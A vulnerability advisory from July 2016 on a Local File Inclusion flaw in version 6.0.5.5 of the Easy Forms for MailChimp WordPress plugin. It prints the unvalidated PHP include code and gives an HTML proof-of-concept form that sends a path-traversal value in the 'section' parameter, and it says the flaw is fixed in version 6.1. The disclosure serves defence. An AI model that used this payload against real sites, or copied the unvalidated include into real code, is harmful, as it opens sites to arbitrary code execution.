Advisory

Yorick Koster, July 2016

Easy Forms for MailChimp Local File Inclusion vulnerability

Abstract

It was discovered that the Easy Forms for MailChimp WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

OVE ID

OVE-20160712-0023

Tested versions

This issue was successfully tested on Easy Forms for MailChimp WordPress Plugin version 6.0.5.5.

Fix

This issue is resolved in Easy Forms for MailChimp 6.1.

Introduction

The Easy Forms for MailChimp WordPress Plugin allows adding unlimited MailChimp sign up forms to a WordPress site. It is possible to add forms to posts, pages, sidebars and other widgetized areas. A Local File Inclusion vulnerability exists in the Easy Forms for MailChimp WordPress plugin. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

Details

The issue exists in the file /admin/partials/menu/options.php and is caused by the lack of input validation on the section request parameter. The vulnerable code is listed below.

<?php if( !isset( $_REQUEST['section'] ) || $_REQUEST['section'] == '' ) {
      include YIKES_MC_PATH . 'admin/partials/menu/options-sections/general-settings.php';            
   } else {
   if( isset( $_REQUEST['addon'] ) && $_REQUEST['addon'] == 'true' ) {
      include apply_filters( 'yikes-mailchimp-'.$_REQUEST['section'].'-options-path' , '' );   
   } else {
      include YIKES_MC_PATH . 'admin/partials/menu/options-sections/' . $_REQUEST['section'] . '.php';   
   }
}
?>

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=yikes-inc-easy-mailchimp-settings" method="POST">
         <input type="hidden" name="section" value="../../edit-form" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

Latest News & Research

Work with us →